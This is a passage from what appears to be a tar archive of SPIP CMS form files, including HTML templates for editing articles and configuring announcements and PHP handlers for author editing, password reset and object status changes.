[(#ENV**{config}|table_valeur{articles_surtitre}|=={non}|?{#ENV**{surtitre,''},' '}|oui) <div class="editer editer_surtitre[ (#ENV**{erreurs}|table_valeur{surtitre}|oui)erreur]"> <label for="surtitre"><:texte_sur_titre:><em class="aide">#AIDER{surtitre}</em></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{surtitre})</span> ]<input type='text' class='text' name='surtitre' id='surtitre'[ lang='(#LANGUE)'] value="[(#ENV**{surtitre})]" /> </div>] <div class="editer editer_titre obligatoire[ (#ENV**{erreurs}|table_valeur{titre}|oui)erreur]"> <label for="titre"><:info_titre:><em class="aide">#AIDER{titre}</em></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{titre})</span> ]<input type='text' class='text' name='titre' id='titre'[ lang='(#LANGUE)'] value="[(#ENV**{titre,''})]" placeholder="<:info_nouvel_article|attribut_html:>" /> </div> [(#ENV**{config}|table_valeur{articles_soustitre}|=={non}|?{#ENV**{soustitre,''},' '}|oui) <div class="editer editer_soustitre[ (#ENV**{erreurs}|table_valeur{soustitre}|oui)erreur]"> <label for="soustitre"><:texte_sous_titre:><em class="aide">#AIDER{soustitre}</em></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{soustitre})</span> ]<input type='text' class='text' name='soustitre' id='soustitre'[ lang='(#LANGUE)'] value="[(#ENV**{soustitre})]" /> </div>] [<div class="editer editer_parent[ (#ENV**{erreurs}|table_valeur{id_parent}|oui)erreur]"> <label for="id_parent"><:titre_cadre_interieur_rubrique:><em class="aide">#AIDER{id_parent}</em></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{id_parent})</span> ] (#VAL|chercher_rubrique{#ENV{id_article},#ENV{id_parent},'article',#ENV{id_secteur},#ENV**{config}|table_valeur{restreint},0,form_simple}) </div>] [(#ENV**{config}|table_valeur{articles_descriptif}|=={non}|?{#ENV**{descriptif,''},' '}|oui) <div class="editer editer_descriptif[ (#ENV**{erreurs}|table_valeur{descriptif}|oui)erreur]"> <label for="descriptif"><:texte_descriptif_rapide:><em class="aide">#AIDER{descriptif}</em></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{descriptif})</span> ]<textarea name='descriptif' id='descriptif'[ lang='(#LANGUE)'] rows='2' cols='40'>[(#ENV**{descriptif})]</textarea> </div>] [(#ENV**{config}|table_valeur{articles_chapeau}|=={non}|?{#ENV**{chapo,''},' '}|oui) <div class="editer editer_chapo[ (#ENV**{erreurs}|table_valeur{chapo}|oui)erreur]"> <label for="chapo"><:info_chapeau:><em class="aide">#AIDER{chapo}</em></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{chapo})</span> ]<textarea name='chapo' id='chapo'[ lang='(#LANGUE)'][ rows='(#ENV**{config}|table_valeur{lignes})'] cols='40'>[(#ENV**{chapo})]</textarea> </div>] [(#ENV**{config}|table_valeur{articles_urlref}|=={non}|?{#ENV**{url_site,#ENV**{nom_site,''}},' '}|oui) <div class="editer editer_liens_sites fieldset"> <fieldset> <h3 class="legend"><:entree_liens_sites:></h3> <div class="editer-groupe"> <div class="editer editer_nom_site[ (#ENV**{erreurs}|table_valeur{nom_site}|oui)erreur]"> <label for="nom_site"><:info_titre:></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{nom_site})</span> ]<input type='text' class='text' name='nom_site' id='nom_site'[ lang='(#LANGUE)'] value="[(#ENV**{nom_site})]" /> </div> <div class="editer editer_url_site[ (#ENV**{erreurs}|table_valeur{url_site}|oui)erreur]"> <label for="url_site"><:info_url:></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{url_site})</span> ]<input type='text' class='text' name='url_site' id='url_site' value="[(#ENV**{url_site})]" /> </div> </div> </fieldset> </div>] [(#ENV**{config}|table_valeur{articles_texte}|=={non}|?{#ENV**{texte,''},' '}|oui) <div class="editer editer_texte obligatoire[ (#ENV**{erreurs}|table_valeur{texte}|oui)erreur]"> <label for="text_area"><:info_texte:><em class="aide">#AIDER{text_area}</em></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{texte})</span> ][(#ENV**{_texte_trop_long,''})] <textarea name='texte' id='text_area'[ lang='(#LANGUE)'] rows='[(#ENV**{config}|table_valeur{lignes}|plus{2})]' cols='40'>[(#ENV**{texte})]</textarea> </div>] [(#ENV**{config}|table_valeur{articles_ps}|=={non}|?{#ENV**{ps,''},' '}|oui) <div class="editer editer_ps[ (#ENV**{erreurs}|table_valeur{ps}|oui)erreur]"> <label for="ps"><:info_post_scriptum:></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{ps})</span> ]<textarea name='ps' id='ps'[ lang='(#LANGUE)'] rows='5' cols='40'>[(#ENV**{ps})]</textarea> </div>] </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><input type='submit' name="save" class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div> declarer_bases_3.html000060400000003331152526232120010606 0ustar00<div class="ajax formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class="titrem"><:onglet_declarer_une_autre_base:> (3/3)</h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}|oui) [<p><strong><:config_info_base_sup_disponibles:></strong><br /> (#ENV*{_bases_deja}|implode{', '}) </p>] <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,nom_connect}#SET{obli,''}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:label_nom_fichier_connect:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<input type="text" class="text" name="#GET{name}" value="#ENV*{#GET{name}}"/> [(#ENV*{_tables}|non) <p class='notice'><:install_pas_table:></p> ] [<h4><:install_tables_base:> "<strong>#ENV{choix_db}</strong>"</h4> <ul class="spip"> <li>(#ENV*{_tables}|implode{'</li><li>'})</li> </ul> ] </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span> <input type='submit' class='submit hidden' value='<:bouton_suivant:>' /> <input type='submit' class='submit' name="_retour_etape_2" value='<:icone_retour:>' /> <input type='submit' class='submit' value='<:bouton_suivant:>' /></p> </div></form> ] </div> inc-logo_auteur.html000060400000000370152526232120010522 0ustar00#HTTP_HEADER{Content-type:text/html;charset=#ENV{charset}} [(#LOGO_AUTEUR|image_passe_partout{48,48}|image_recadre{48,48})] [(#REM) ce fichier est utilise par inc/identifier_login, pour l'identification ajax des auteurs dans le formulaire de login]editer_auteur.php000060400000036175152526232120010126 0ustar00<?php /** * Gestion du formulaire de d'édition de rubrique * * @package SPIP\Core\Auteurs\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/actions'); include_spip('inc/editer'); include_spip('inc/filtres_ecrire'); // si on utilise le formulaire dans le public include_spip('inc/autoriser'); /** * Chargement du formulaire d'édition d'un auteur * * @see formulaires_editer_objet_charger() * * @param int|string $id_auteur * Identifiant de l'auteur. 'new' pour une nouvel auteur. * @param string $retour * URL de redirection après le traitement * @param string $associer_objet * Éventuel 'objet|x' indiquant de lier le mot créé à cet objet, * tel que 'article|3' * @param string $config_fonc * Nom de la fonction ajoutant des configurations particulières au formulaire * @param array $row * Valeurs de la ligne SQL de l'auteur, si connu * @param string $hidden * Contenu HTML ajouté en même temps que les champs cachés du formulaire. * @return array * Environnement du formulaire **/ function formulaires_editer_auteur_charger_dist( $id_auteur = 'new', $retour = '', $associer_objet = '', $config_fonc = 'auteurs_edit_config', $row = array(), $hidden = '' ) { $valeurs = formulaires_editer_objet_charger('auteur', $id_auteur, 0, 0, $retour, $config_fonc, $row, $hidden); $valeurs['new_login'] = $valeurs['login']; if (!autoriser('modifier', 'auteur', intval($id_auteur))) { $valeurs['editable'] = ''; } return $valeurs; } /** * Identifier le formulaire en faisant abstraction des paramètres qui * ne représentent pas l'objet édité * * @param int|string $id_auteur * Identifiant de l'auteur. 'new' pour une nouvel auteur. * @param string $retour * URL de redirection après le traitement * @param string $associer_objet * Éventuel 'objet|x' indiquant de lier le mot créé à cet objet, * tel que 'article|3' * @param string $config_fonc * Nom de la fonction ajoutant des configurations particulières au formulaire * @param array $row * Valeurs de la ligne SQL de l'auteur, si connu * @param string $hidden * Contenu HTML ajouté en même temps que les champs cachés du formulaire. * @return string * Hash du formulaire */ function formulaires_editer_auteur_identifier_dist( $id_auteur = 'new', $retour = '', $associer_objet = '', $config_fonc = 'auteurs_edit_config', $row = array(), $hidden = '' ) { return serialize(array(intval($id_auteur), $associer_objet)); } /** * Choix par défaut des options de présentation * * @param array $row * Valeurs de la ligne SQL d'un auteur, si connu * return array * Configuration pour le formulaire */ function auteurs_edit_config($row) { global $spip_lang; $config = $GLOBALS['meta']; $config['lignes'] = 8; $config['langue'] = $spip_lang; // pour instituer_auteur $config['auteur'] = $row; //$config['restreint'] = ($row['statut'] == 'publie'); $auth_methode = $row['source']; include_spip('inc/auth'); $config['edit_login'] = (auth_autoriser_modifier_login($auth_methode) and autoriser('modifier', 'auteur', $row['id_auteur'], null, array('email' => true))); $config['edit_pass'] = (auth_autoriser_modifier_pass($auth_methode) and autoriser('modifier', 'auteur', $row['id_auteur'])); return $config; } /** * Vérifications du formulaire d'édition d'un auteur * * Vérifie en plus des vérifications prévues : * - qu'un rédacteur ne peut pas supprimer son adresse mail, * - que le mot de passe choisi n'est pas trop court et identique à sa * deuxième saisie * * @see formulaires_editer_objet_verifier() * * @param int|string $id_auteur * Identifiant de l'auteur. 'new' pour une nouvel auteur. * @param string $retour * URL de redirection après le traitement * @param string $associer_objet * Éventuel 'objet|x' indiquant de lier le mot créé à cet objet, * tel que 'article|3' * @param string $config_fonc * Nom de la fonction ajoutant des configurations particulières au formulaire * @param array $row * Valeurs de la ligne SQL de l'auteur, si connu * @param string $hidden * Contenu HTML ajouté en même temps que les champs cachés du formulaire. * @return array * Erreurs des saisies **/ function formulaires_editer_auteur_verifier_dist( $id_auteur = 'new', $retour = '', $associer_objet = '', $config_fonc = 'auteurs_edit_config', $row = array(), $hidden = '' ) { // auto-renseigner le nom si il n'existe pas, sans couper titre_automatique('nom', array('email', 'login'), 255); $oblis = array('nom'); // si on veut renvoyer des identifiants il faut un email et un login if (_request('reset_password')) { $oblis[] = 'email'; $oblis[] = 'new_login'; } // mais il reste obligatoire si on a rien trouve $erreurs = formulaires_editer_objet_verifier('auteur', $id_auteur, $oblis); if (isset($erreurs['new_login'])) { $erreurs['login'] = $erreurs['new_login']; unset($erreurs['new_login']); } $auth_methode = sql_getfetsel('source', 'spip_auteurs', 'id_auteur=' . intval($id_auteur)); $auth_methode = ($auth_methode ? $auth_methode : 'spip'); include_spip('inc/auth'); if (!nom_acceptable(_request('nom'))) { $erreurs['nom'] = _T('info_nom_pas_conforme'); } if ($email = _request('email')) { include_spip('inc/filtres'); include_spip('inc/autoriser'); // un redacteur qui modifie son email n'a pas le droit de le vider si il y en avait un if (!autoriser('modifier', 'auteur', $id_auteur, null, array('email' => '?')) and $GLOBALS['visiteur_session']['id_auteur'] == $id_auteur and !strlen(trim($email)) and $email != ($email_ancien = sql_getfetsel('email', 'spip_auteurs', 'id_auteur=' . intval($id_auteur))) ) { $erreurs['email'] = (($id_auteur == $GLOBALS['visiteur_session']['id_auteur']) ? _T('form_email_non_valide') : _T('form_prop_indiquer_email')); } else { if (!email_valide($email)) { $erreurs['email'] = (($id_auteur == $GLOBALS['visiteur_session']['id_auteur']) ? _T('form_email_non_valide') : _T('form_prop_indiquer_email')); } } # Ne pas autoriser d'avoir deux auteurs avec le même email # cette fonctionalité nécessite que la base soit clean à l'activation : pas de # doublon sur la requête select email,count(*) from spip_auteurs group by email ; if (defined('_INTERDIRE_AUTEUR_MEME_EMAIL')) { #Nouvel auteur if (intval($id_auteur) == 0) { #Un auteur existe deja avec cette adresse ? if (sql_countsel('spip_auteurs', 'email=' . sql_quote($email)) > 0) { $erreurs['email'] = _T('erreur_email_deja_existant'); } } else { #Un auteur existe deja avec cette adresse ? et n'est pas le user courant. if ((sql_countsel( 'spip_auteurs', 'email=' . sql_quote($email) ) > 0) and ($id_auteur != ($id_auteur_ancien = sql_getfetsel( 'id_auteur', 'spip_auteurs', 'email=' . sql_quote($email) )))) { $erreurs['email'] = _T('erreur_email_deja_existant'); } } } } // quand c'est un auteur existant on fait le reset password ici if (!count($erreurs) and _request('reset_password') and intval($id_auteur)) { $erreurs = auteur_reset_password($id_auteur, $erreurs); return $erreurs; } // corriger un cas si frequent : www.example.org sans le http:// qui precede if ($url = _request('url_site') and !tester_url_absolue($url)) { if (strpos($url, ':') === false and strncasecmp($url, 'www.', 4) === 0) { $url = 'http://' . $url; set_request('url_site', $url); } } // traiter les liens implicites avant de tester l'url include_spip('inc/lien'); if ($url = calculer_url(_request('url_site')) and !tester_url_absolue($url)) { $erreurs['url_site'] = _T('info_url_site_pas_conforme'); } $erreurs['message_erreur'] = ''; if ($err = auth_verifier_login($auth_methode, _request('new_login'), $id_auteur)) { $erreurs['new_login'] = $err; $erreurs['message_erreur'] .= $err; } else { // pass trop court ou confirmation non identique if ($p = _request('new_pass')) { if ($p != _request('new_pass2')) { $erreurs['new_pass'] = _T('info_passes_identiques'); $erreurs['message_erreur'] .= _T('info_passes_identiques'); } elseif ($err = auth_verifier_pass($auth_methode, _request('new_login'), $p, $id_auteur)) { $erreurs['new_pass'] = $err; $erreurs['message_erreur'] .= $err; } } } if (!$erreurs['message_erreur']) { unset($erreurs['message_erreur']); } return $erreurs; } /** * Traitements du formulaire d'édition d'un auteur * * En plus de l'enregistrement normal des infos de l'auteur, la fonction * traite ces cas spécifiques : * * - Envoie lorsqu'un rédacteur n'a pas forcément l'autorisation changer * seul son adresse email, un email à la nouvelle adresse indiquée * pour vérifier l'email saisi, avec un lien dans le mai sur l'action * 'confirmer_email' qui acceptera alors le nouvel email. * * - Crée aussi une éventuelle laision indiquée dans $associer_objet avec * cet auteur. * * @see formulaires_editer_objet_traiter() * * @param int|string $id_auteur * Identifiant de l'auteur. 'new' pour une nouvel auteur. * @param string $retour * URL de redirection après le traitement * @param string $associer_objet * Éventuel 'objet|x' indiquant de lier le mot créé à cet objet, * tel que 'article|3' * @param string $config_fonc * Nom de la fonction ajoutant des configurations particulières au formulaire * @param array $row * Valeurs de la ligne SQL de l'auteur, si connu * @param string $hidden * Contenu HTML ajouté en même temps que les champs cachés du formulaire. * @return array * Retour des traitements **/ function formulaires_editer_auteur_traiter_dist( $id_auteur = 'new', $retour = '', $associer_objet = '', $config_fonc = 'auteurs_edit_config', $row = array(), $hidden = '' ) { if (_request('saisie_webmestre') or _request('webmestre')) { set_request('webmestre', _request('webmestre') ? _request('webmestre') : 'non'); } $retour = parametre_url($retour, 'email_confirm', ''); set_request( 'email', email_valide(_request('email')) ); // eviter d'enregistrer les cas qui sont acceptés par email_valide dans le verifier : // "Marie@toto.com " ou encore "Marie Toto <Marie@toto.com>" include_spip('inc/autoriser'); if (!autoriser('modifier', 'auteur', $id_auteur, null, array('email' => '?'))) { $email_nouveau = _request('email'); set_request('email'); // vider la saisie car l'auteur n'a pas le droit de modifier cet email // mais si c'est son propre profil on lui envoie un email à l'adresse qu'il a indique // pour qu'il confirme qu'il possede bien cette adresse // son clic sur l'url du message permettre de confirmer le changement // et de revenir sur son profil if ($GLOBALS['visiteur_session']['id_auteur'] == $id_auteur and $email_nouveau != ($email_ancien = sql_getfetsel('email', 'spip_auteurs', 'id_auteur=' . intval($id_auteur))) ) { $envoyer_mail = charger_fonction('envoyer_mail', 'inc'); $texte = _T( 'form_auteur_mail_confirmation', array( 'url' => generer_action_auteur( 'confirmer_email', $email_nouveau, parametre_url($retour, 'email_modif', 'ok') ) ) ); $envoyer_mail($email_nouveau, _T('form_auteur_confirmation'), $texte); set_request('email_confirm', $email_nouveau); if ($email_ancien) { $envoyer_mail($email_ancien, _T('form_auteur_confirmation'), _T('form_auteur_envoi_mail_confirmation', array('email' => $email_nouveau))); } $retour = parametre_url($retour, 'email_confirm', $email_nouveau); } } $res = formulaires_editer_objet_traiter('auteur', $id_auteur, 0, 0, $retour, $config_fonc, $row, $hidden); if (_request('reset_password') and !intval($id_auteur) and intval($res['id_auteur'])) { $erreurs = array(); $erreurs = auteur_reset_password($res['id_auteur'], $erreurs); if (isset($erreurs['message_ok'])) { if (!isset($res['message_ok'])) $res['message_ok'] = ''; $res['message_ok'] = trim($res['message_ok'] . ' ' . $erreurs['message_ok']); } if (isset($erreurs['message_erreur']) and $erreurs['message_erreur']) { if (!isset($res['message_erreur'])) $res['message_erreur'] = ''; $res['message_erreur'] = trim($res['message_erreur'] . ' ' . $erreurs['message_erreur']); } } // Un lien auteur a prendre en compte ? if ($associer_objet and $id_auteur = $res['id_auteur']) { $objet = ''; if (intval($associer_objet)) { $objet = 'article'; $id_objet = intval($associer_objet); } elseif (preg_match(',^\w+\|[0-9]+$,', $associer_objet)) { list($objet, $id_objet) = explode('|', $associer_objet); } if ($objet and $id_objet and autoriser('modifier', $objet, $id_objet)) { include_spip('action/editer_auteur'); auteur_associer($id_auteur, array($objet => $id_objet)); if (isset($res['redirect'])) { $res['redirect'] = parametre_url($res['redirect'], 'id_lien_ajoute', $id_auteur, '&'); } } } return $res; } function auteur_reset_password($id_auteur, $erreurs = array()) { $auteur = sql_fetsel('*', 'spip_auteurs', 'id_auteur=' . intval($id_auteur)); $config = auteurs_edit_config($auteur); if ($config['edit_pass']) { if ($email = auteur_regenerer_identifiants($id_auteur)) { $erreurs['message_ok'] = _T('message_nouveaux_identifiants_ok', array('email' => $email)); $erreurs['message_erreur'] = ''; } elseif ($email === false) { $erreurs['message_erreur'] = _T('message_nouveaux_identifiants_echec_envoi'); } else { $erreurs['message_erreur'] = _T('message_nouveaux_identifiants_echec'); } } else { $erreurs['message_erreur'] = _T('message_nouveaux_identifiants_echec'); } return $erreurs; } /** * Renvoyer des identifiants * @param int $id_auteur * @param bool $notifier * @param array $contexte * @return string */ function auteur_regenerer_identifiants($id_auteur, $notifier=true, $contexte = array()) { if ($id_auteur){ $set = array(); include_spip('inc/access'); $set['pass'] = creer_pass_aleatoire(); include_spip('action/editer_auteur'); auteur_modifier($id_auteur,$set); $row = sql_fetsel('*','spip_auteurs','id_auteur='.intval($id_auteur)); include_spip('inc/filtres'); if ($notifier and $row['email'] and email_valide($row['email']) and trouver_fond($fond = 'modeles/mail_nouveaux_identifiants')){ // envoyer l'email avec login/pass $c = array( 'id_auteur' => $id_auteur, 'nom' => $row['nom'], 'mode' => $row['statut'], 'email' => $row['email'], 'pass' => $set['pass'], ); // on merge avec les champs fournit en appel, qui sont passes au modele de notification donc $contexte = array_merge($contexte, $c); // si pas de langue explicitement demandee, prendre celle de l'auteur si on la connait, ou a defaut celle du site // plutot que celle de l'admin qui vient de cliquer sur le bouton if (!isset($contexte['lang']) or !$contexte['lang']) { if (isset($row['lang']) and $row['lang']) { $contexte['lang'] = $row['lang']; } else { $contexte['lang'] = $GLOBALS['meta']['langue_site']; } } lang_select($contexte['lang']); $message = recuperer_fond($fond, $contexte); include_spip("inc/notifications"); notifications_envoyer_mails($row['email'],$message); lang_select(); return $row['email']; } return false; } return ''; } configurer_annonces.html000060400000013517152526232120011464 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{annonce-24.png}" class="cadre-icone" /><:info_envoi_email_automatique:>#AIDER{confmails}</h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <p class="notice"><:info_hebergeur_desactiver_envoi_email:></p> <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,suivi_edito}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label><:info_suivi_activite:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<p class="explication"><:info_facilite_suivi_activite:></p> <div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] onclick="$(this).blur();" onchange="if ($(this).prop('checked')) $('#suivi_complements').hide('fast');" /><label for="#GET{name}_non"><:bouton_radio_non_envoi_annonces_editoriales:></label> </div> <div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] onclick="$(this).blur();" onchange="if ($(this).prop('checked')) $('#suivi_complements').show('fast');" /><label for="#GET{name}_oui"><:bouton_radio_envoi_annonces_adresse:></label> </div> <fieldset id="suivi_complements"[(#ENV{#GET{name}}|=={oui}|non)style='display:none;']> <div class="editer-groupe"> #SET{name,adresse_suivi}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer pleine_largeur editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_adresse:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<input type="text" class="text" name="#GET{name}" id="#GET{name}" value="#ENV*{#GET{name}}" /> </div> #SET{name,adresse_suivi_inscription}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer pleine_largeur editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> #SET{adresse_suivi,#ENV{adresse_suivi}|sinon{mailing@monsite.net}} <label for="#GET{name}"><:info_adresse_desinscription:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<p class="explication"><:info_config_suivi{adresse_suivi=#GET{adresse_suivi}}:></p> <input type="text" class="text" name="#GET{name}" id="#GET{name}" value="#ENV*{#GET{name}}" /> </div> </div> </fieldset> </div> #SET{name,quoi_de_neuf}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label><:info_annonce_nouveautes:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<p class="explication"><:info_non_envoi_annonce_dernieres_nouveautes:></p> <div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] onclick="$(this).blur();" onchange="if ($(this).prop('checked')) $('#neuf_complements').hide('fast');" /><label for="#GET{name}_non"><:info_non_envoi_liste_nouveautes:></label> </div> <div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] onclick="$(this).blur();" onchange="if ($(this).prop('checked')) $('#neuf_complements').show('fast');" /><label for="#GET{name}_oui"><:bouton_radio_envoi_liste_nouveautes:></label> </div> <fieldset id="neuf_complements"[(#ENV{#GET{name}}|=={oui}|non)style='display:none;']> <div class="editer-groupe"> #SET{name,adresse_neuf}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer pleine_largeur editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_adresse:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<input type="text" class="text" name="#GET{name}" id="#GET{name}" value="#ENV*{#GET{name}}" /> </div> #SET{name,jours_neuf}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer pleine_largeur editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> #SET{adresse_suivi,#ENV{adresse_suivi}|sinon{mailing@monsite.net}} <label for="#GET{name}"><:info_tous_les:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<input type="text" name="#GET{name}" id="#GET{name}" value="#ENV*{#GET{name}}" /> <:info_jours:> <input type='submit' class="submit" name='envoi_now' id='envoi_now' value='<:info_envoyer_maintenant:>' /> </div> </div> </fieldset> </div> #SET{name,email_envoi}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_email_envoi:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<p class="explication"><:info_email_envoi_txt:></p> <input type="text" class="text" name="#GET{name}" id="#GET{name}" value="#ENV*{#GET{name}}" /> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div> instituer_objet.php000060400000013174152526232120010470 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion du formulaire d'institution (changement de statut) d'un objet * * @package SPIP\Core\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/editer'); include_spip('inc/autoriser'); include_spip('inc/puce_statut'); /** * Filtres les statuts utilisable selon les droits de publication * * @param array $desc * @param bool $publiable * @return array */ function lister_statuts_proposes($desc, $publiable = true) { if (!isset($desc['statut_textes_instituer'])) { return false; } $l = $desc['statut_textes_instituer']; if (!$publiable) { unset($l['publie']); unset($l['refuse']); } return $l; } /** * Chargement du formulaire instituer objet * * @uses formulaires_editer_objet_charger() * * @param string $objet * Type d'objet * @param int $id_objet * Identifiant de l'objet * @param string $retour * URL de redirection après le traitement * @param bool $editable * Indique si le statut est éditable ou non. * Dans tous les cas, si l'on n'a pas la permission de modifier l'objet, * cette option sera mise à false. * @return array|bool * Environnement du formulaire ou false si aucun affichage à faire. */ function formulaires_instituer_objet_charger_dist($objet, $id_objet, $retour = '', $editable = true) { $editable = ($editable ? true : false); $table = table_objet_sql($objet); $desc = lister_tables_objets_sql($table); if (!isset($desc['statut_textes_instituer'])) { return false; } if (!autoriser('modifier', $objet, $id_objet)) { $editable = false; } // charger le contenu de l'objet // dont son champ statut $v = formulaires_editer_objet_charger($objet, $id_objet, 0, 0, '', ''); $publiable = true; $statuts = lister_statuts_proposes($desc); // tester si on a le droit de publier, si un statut publie existe if (isset($statuts['publie'])) { if (!autoriser('instituer', $objet, $id_objet, null, array('statut' => 'publie'))) { if ($v['statut'] == 'publie') { $editable = false; } else { $publiable = false; } } } $statuts = lister_statuts_proposes($desc, $editable ? $publiable : true); if (count($statuts) == 1 and isset($statuts[$v['statut']])) { $editable = false; } $valeurs = array( 'editable' => $editable, 'statut' => $v['statut'], '_objet' => $objet, '_id_objet' => $id_objet, '_statuts' => $statuts, '_publiable' => $publiable, '_label' => isset($desc['texte_changer_statut']) ? $desc['texte_changer_statut'] : 'texte_article_statut', '_aide' => isset($desc['aide_changer_statut']) ? $desc['aide_changer_statut'] : '', '_hidden' => "<input type='hidden' name='statut_old' value='" . $v['statut'] . "' />", ); #if (!count($valeurs['statuts'])) return $valeurs; } /** * Vérifications du formulaire instituer objet * * @uses formulaires_editer_objet_charger() * * @param string $objet * Type d'objet * @param int $id_objet * Identifiant de l'objet * @param string $retour * URL de redirection après le traitement * @param bool $editable * Indique si le statut est éditable ou non. * @return array * Tableau des erreurs */ function formulaires_instituer_objet_verifier_dist($objet, $id_objet, $retour = '', $editable = true) { $erreurs = array(); // charger le contenu de l'objet // dont son champ statut $v = formulaires_editer_objet_charger($objet, $id_objet, 0, 0, '', ''); if ($v['statut'] !== _request('statut_old')) { $erreurs['statut'] = _T('instituer_erreur_statut_a_change'); } else { $table = table_objet_sql($objet); $desc = lister_tables_objets_sql($table); $publiable = true; if (isset($v['id_rubrique']) and !autoriser('publierdans', 'rubrique', $v['id_rubrique']) ) { $publiable = false; } $l = lister_statuts_proposes($desc, $publiable); $statut = _request('statut'); if (!isset($l[$statut]) or !autoriser('instituer', $objet, $id_objet, '', array('statut' => $statut)) ) { $erreurs['statut'] = _T('instituer_erreur_statut_non_autorise'); } } return $erreurs; } /** * Traitements du formulaire instituer objet * * @param string $objet * Type d'objet * @param int $id_objet * Identifiant de l'objet * @param string $retour * URL de redirection après le traitement * @param bool $editable * Indique si le statut est éditable ou non. * @return array * Retour des traitements */ function formulaires_instituer_objet_traiter_dist($objet, $id_objet, $retour = '', $editable = true) { $c = array('statut' => _request('statut')); // si on a envoye une 'date_posterieure', l'enregistrer // todo dans le HTML if ($d = _request('date_posterieure')) { $c['date'] = $d; } include_spip('action/editer_objet'); if ($err = objet_instituer($objet, $id_objet, $c)) { $res = array('message_erreur' => $err); } else { $res = array('message_ok' => _T('info_modification_enregistree')); if ($retour) { $res['redirect'] = $retour; } set_request('statut'); set_request('date_posterieure'); } return $res; } editer_rubrique.html000060400000005221152526232120010620 0ustar00<div class='formulaire_spip formulaire_editer formulaire_editer_rubrique formulaire_editer_rubrique-#ENV{id_rubrique,nouveau}'> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV**{message_ok})</p>] [<p class="reponse_formulaire 